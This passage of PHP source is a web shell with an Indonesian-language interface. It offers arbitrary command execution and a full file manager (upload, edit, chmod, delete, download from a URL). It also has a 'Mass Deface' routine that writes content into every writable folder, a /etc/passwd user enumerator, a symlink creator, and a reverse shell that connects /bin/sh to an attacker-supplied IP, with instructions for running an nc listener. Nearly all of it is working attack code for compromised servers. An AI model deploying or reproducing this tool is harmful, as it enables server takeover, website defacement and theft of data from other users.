&1', $output); return implode("\n", $output); } elseif (function_exists('shell_exec')) { return shell_exec($cmd); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); return ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); return ob_get_clean(); } return "Command execution disabled."; } function perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); foreach (scandir($target) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); } function zip_add_folder($zip, $folder, $base_path_length) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $file_path = $file->getRealPath(); $relative_path = substr($file_path, $base_path_length); $zip->addFile($file_path, $relative_path); } } } function redirect_with_message($msg_type = '', $msg_text = '', $current_path = '') { global $path; $redirect_path = !empty($current_path) ? $current_path : $path; $params = ['path' => $redirect_path]; if ($msg_type) $params['msg_type'] = $msg_type; if ($msg_text) $params['msg_text'] = $msg_text; header("Location: ?" . http_build_query($params)); exit(); } // --- INITIAL SETUP & PATH --- $path = realpath(isset($_GET['path']) ? $_GET['path'] : getcwd()); $path = str_replace('\\','/',$path); // --- HANDLERS FOR ACTIONS THAT REDIRECT --- if(isset($_POST['start_mass_deface'])) { $mass_deface_results = ''; function mass_deface_recursive($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[FAILED] ".htmlspecialchars($dir)."
"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi)) { if(is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[DONE] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."
"; mass_deface_recursive($lokasi, $file, $content, $res); } else { $res .= "[FAILED] ".htmlspecialchars($lokasi)."
"; } } } } function mass_deface_flat($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[FAILED] ".htmlspecialchars($dir)."
"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi) && is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[DONE] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."
"; } } } if($_POST['tipe_sabun'] == 'mahal') mass_deface_recursive($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); else mass_deface_flat($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); $_SESSION['feature_output'] = $mass_deface_results; redirect_with_message('success', 'Mass Deface Selesai!', $path); } if(isset($_FILES['file_upload'])){ $file_name = sanitizeFilename($_FILES['file_upload']['name']); if(copy($_FILES['file_upload']['tmp_name'], $path.'/'.$file_name)) redirect_with_message('success', 'UPLOAD SUCCESS: ' . $file_name, $path); else redirect_with_message('error', 'File Gagal Diupload !!', $path); } if (isset($_POST['bulk_action']) && class_exists('ZipArchive')) { $action = $_POST['bulk_action']; $selected_files = isset($_POST['selected_files']) ? $_POST['selected_files'] : []; if ($action === 'zip_selected' && !empty($selected_files)) { $zip_filename = 'archive_' . date('Y-m-d_H-i-s') . '.zip'; $zip_filepath = $path . DIRECTORY_SEPARATOR . $zip_filename; $zip = new ZipArchive(); if ($zip->open($zip_filepath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($selected_files as $file) { $file_path = realpath($file); if (is_file($file_path)) $zip->addFile($file_path, basename($file_path)); elseif (is_dir($file_path)) zip_add_folder($zip, $file_path, strlen(dirname($file_path) . DIRECTORY_SEPARATOR)); } $zip->close(); redirect_with_message('success', 'File berhasil di-zip ke: ' . $zip_filename, $path); } else { redirect_with_message('error', 'Gagal membuat file zip!', $path); } } } if(isset($_GET['option']) && isset($_POST['opt_action'])){ $target_full_path = $_POST['path_target']; $action = $_POST['opt_action']; $current_dir = realpath(isset($_GET['path']) ? $_GET['path'] : getcwd()); switch ($action) { case 'delete': if (delete_recursive($target_full_path)) redirect_with_message('success', 'DELETE SUCCESS !!', $current_dir); else redirect_with_message('error', 'Gagal menghapus! Periksa izin.', $current_dir); break; case 'chmod_save': if(chmod($target_full_path, octdec($_POST['perm_value']))) redirect_with_message('success', 'CHMOD SUCCESS !!', $current_dir); else redirect_with_message('error', 'CHMOD Gagal !!', $current_dir); break; case 'rename_save': $new_full_path = dirname($target_full_path).'/'.sanitizeFilename($_POST['new_name_value']); if(rename($target_full_path, $new_full_path)) redirect_with_message('success', 'RENAME SUCCESS !!', $current_dir); else redirect_with_message('error', 'RENAME Gagal !!', $current_dir); break; case 'edit_save': if(is_writable($target_full_path)) { if(file_put_contents($target_full_path, $_POST['src_content'])) redirect_with_message('success', 'EDIT SUCCESS !!', $current_dir); else redirect_with_message('error', 'Edit File Gagal !!', $current_dir); } else { redirect_with_message('error', 'File tidak writable!', $current_dir); } break; case 'extract_save': if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($target_full_path) === TRUE) { $zip->extractTo($current_dir); $zip->close(); redirect_with_message('success', 'File berhasil diekstrak!', $current_dir); } else { redirect_with_message('error', 'Gagal membuka file zip!', $current_dir); } } else { redirect_with_message('error', 'Class ZipArchive tidak ditemukan!', $current_dir); } break; } } if(isset($_GET['create_new'])) { $target_path_new = $path . '/' . sanitizeFilename($_POST['create_name']); if ($_POST['create_type'] == 'file') { if (@file_put_contents($target_path_new, '') !== false) redirect_with_message('success', 'File Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat file baru!', $path); } elseif ($_POST['create_type'] == 'dir') { if (@mkdir($target_path_new)) redirect_with_message('success', 'Folder Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat folder baru!', $path); } } if(isset($_POST['curl_download'])) { $url = $_POST['url']; $filename = sanitizeFilename(basename($url)); if (empty($filename)) { $filename = 'downloaded_file'; } if (copy($url, $path . '/' . $filename)) { redirect_with_message('success', 'File ' . $filename . ' berhasil di-download!', $path); } else { redirect_with_message('error', 'Gagal men-download file dari URL!', $path); } } ?> <?php echo htmlspecialchars($title); ?>

".htmlspecialchars($_GET['msg_text']).""; } if(isset($_SESSION['feature_output'])) { echo '

Hasil Fitur Sebelumnya:

'.$_SESSION['feature_output'].'
'; unset($_SESSION['feature_output']); } ?>
User / IP :
Host / Server :
System :
: /'; $current_built_path = ''; foreach($paths_array as $pat){ if(empty($pat)) continue; $current_built_path .= '/' . $pat; echo ''.htmlspecialchars($pat).'/'; } ?>
'; switch ($_GET['action']) { // --- BASIC ACTIONS --- case 'cmd': $cmd_output = (isset($_POST['do_cmd'])) ? htmlspecialchars(exe($_POST['cmd_input'])) : ''; echo '

Execute Command

'; if($cmd_output) echo '

Output:

'.$cmd_output.'
'; break; case 'upload_form': echo '

Upload File

'; break; case 'create_form': echo '

Create New

'; break; // --- HACKING TOOLS --- case 'mass_deface_form': echo '

Mass Deface

Tipe:
Biasa (1 level) | Massal (Rekursif)

Folder Target:

Nama File:

Isi Script:

'; break; case 'jumping': echo '

Jumping (User Scanner)

Membaca /etc/passwd untuk menemukan semua user di server dan memeriksa akses direktori home.

'; if (is_readable('/etc/passwd')) { preg_match_all('/(^[a-zA-Z0-9\._-]+):x:/m', file_get_contents('/etc/passwd'), $matches); if(!empty($matches[1])){ echo ''; foreach ($matches[1] as $user) { $home_dir = '/home/' . $user; if (is_readable($home_dir)) { $status = 'Bisa Dibaca'; $action = 'Jelajahi'; } else { $status = 'Tidak Bisa Dibaca'; $action = '-'; } echo ''; } echo '
UsernameHome DirectoryStatusAksi
'.htmlspecialchars($user).''.htmlspecialchars($home_dir).''.$status.''.$action.'
'; } } else { echo '

Gagal: File /etc/passwd tidak bisa dibaca.

'; } break; case 'symlink': echo '

Symlink Creator

'; if (!function_exists('symlink')) { echo '

Gagal: Fungsi symlink() dinonaktifkan di server ini.

'; } else { if (isset($_POST['create_symlink'])) { if (symlink($_POST['target_file'], $path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST['link_name']))) { echo '

Sukses! Symlink dibuat. Akses di: '.htmlspecialchars($path . DIRECTORY_SEPARATOR . sanitizeFilename($_POST['link_name'])).'

'; } else { echo '

Gagal! Tidak bisa membuat symlink.

'; } } echo '

Target File (Full Path):

Nama Link (di direktori ini):

'; } break; case 'reverse_shell': echo '

Reverse Shell

'; if (!function_exists('fsockopen') || !function_exists('proc_open')) { echo '

Gagal: Fungsi fsockopen() atau proc_open() dinonaktifkan.

'; } else { $ip_attacker = isset($_POST['ip_attacker']) ? htmlspecialchars($_POST['ip_attacker']) : $_SERVER['REMOTE_ADDR']; $port_attacker = isset($_POST['port_attacker']) ? htmlspecialchars($_POST['port_attacker']) : '4444'; echo '

Cara Pakai:

  1. Di terminalmu, jalankan listener: nc -lvnp '.$port_attacker.'
  2. Masukkan IP Publik komputermu di bawah.
  3. Klik "GASKEUN!". Halaman browser ini mungkin akan terus loading (normal).
  4. Cek terminalmu, shell server akan muncul jika berhasil.
'; echo '
'; if (isset($_POST['start_reverse_shell'])) { echo "

Mencoba koneksi ke ".htmlspecialchars($_POST['ip_attacker']).":".htmlspecialchars($_POST['port_attacker'])." ...

"; if(ob_get_level()) ob_end_flush(); flush(); set_time_limit(0); ignore_user_abort(true); $sock = @fsockopen($_POST['ip_attacker'], (int)$_POST['port_attacker'], $errno, $errstr, 30); if (!$sock) { echo '

Koneksi Gagal! Pastikan listener sudah berjalan.

'; } else { echo '

Koneksi Berhasil! Cek terminalmu sekarang!

'; if(ob_get_level()) ob_end_flush(); flush(); $process = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); if (is_resource($process)) proc_close($process); } } } break; // --- NETWORK TOOLS --- case 'ping': $ping_output = (isset($_POST['do_ping'])) ? htmlspecialchars(exe("ping -c 4 ".escapeshellarg($_POST['target_host']))) : ''; echo '

Ping

'; if($ping_output) echo '

Output:

'.$ping_output.'
'; break; case 'portscan': $scan_output = (isset($_POST['do_scan'])) ? htmlspecialchars(exe("nmap -p ".escapeshellarg($_POST['ports'])." ".escapeshellarg($_POST['target_host']))) : ''; echo '

Port Scan (nmap)

Host:

Ports:

'; if($scan_output) echo '

Output:

'.$scan_output.'
'; break; case 'dnslookup': $dns_output = (isset($_POST['do_lookup'])) ? htmlspecialchars(exe("dig ".escapeshellarg($_POST['target_domain'])." ".escapeshellarg($_POST['record_type']))) : ''; echo '

DNS Lookup (dig)

Domain:

Record Type:

'; if($dns_output) echo '

Output:

'.$dns_output.'
'; break; case 'whois': $whois_output = (isset($_POST['do_whois'])) ? htmlspecialchars(exe("whois ".escapeshellarg($_POST['target_domain']))) : ''; echo '

Whois Lookup

'; if($whois_output) echo '

Output:

'.$whois_output.'
'; break; case 'header': $header_output = ''; if (isset($_POST['get_header'])) { $url = $_POST['target_url']; if(filter_var($url, FILTER_VALIDATE_URL)) { $headers = get_headers($url, 1); $header_output = htmlspecialchars(print_r($headers, true)); } else { $header_output = 'URL tidak valid.'; } } echo '

HTTP Header Viewer

'; if($header_output) echo '

Output:

'.$header_output.'
'; break; case 'curl': echo '

cURL Downloader

URL File:

'; break; // --- FILE MANAGER ACTIONS --- case 'delete': echo '

Konfirmasi Hapus: '.htmlspecialchars(basename($_GET['target_file'])).'

Anda YAKIN? Tindakan ini tidak bisa dibatalkan.

BATAL
'; break; case 'extract_form': echo '

Konfirmasi Ekstrak: '.htmlspecialchars(basename($_GET['target_file'])).'

Ekstrak semua isi file ini ke direktori saat ini ('.htmlspecialchars($path).')?

BATAL
'; break; case 'view_file': echo '

Viewing: '.htmlspecialchars(basename($_GET['target_file'])).'

'; break; case 'edit_form': echo '

Editing: '.htmlspecialchars(basename($_GET['target_file'])).'


'; break; case 'rename_form': echo '

Rename: '.htmlspecialchars(basename($_GET['target_file'])).'

New Name:
'; break; case 'chmod_form': $current_perms = substr(sprintf('%o', @fileperms($_GET['target_file'])), -4); echo '

Chmod: '.htmlspecialchars(basename($_GET['target_file'])).'

Permission:
'; break; } echo ''; } if ($show_file_list) { echo '
'; echo '
'; $scandir_items = @scandir($path); if ($scandir_items) { usort($scandir_items, function($a, $b) use ($path) { if ($a == '..') return -1; if ($b == '..') return 1; if (is_dir($path.'/'.$a) && !is_dir($path.'/'.$b)) return -1; if (!is_dir($path.'/'.$a) && is_dir($path.'/'.$b)) return 1; return strcasecmp($a, $b); }); foreach($scandir_items as $item){ if($item == '.') continue; $full_item_path = $path.DIRECTORY_SEPARATOR.$item; $encoded_full_item_path = urlencode($full_item_path); echo ""; echo ""; echo ""; } } else { echo ""; } if (class_exists('ZipArchive')) { echo ''; } echo '
NameSizePermOptions
"; if ($item != '..') echo ""; echo ""; if($item == '..') echo " ".htmlspecialchars($item).""; elseif(is_dir($full_item_path)) echo " ".htmlspecialchars($item).""; else echo " ".htmlspecialchars($item).""; echo "".(is_file($full_item_path) ? round(@filesize($full_item_path)/1024,2).' KB' : '--')."".perms($full_item_path)."
Gagal membaca direktori.
With selected:
'; } ?>
Coded With 💗 by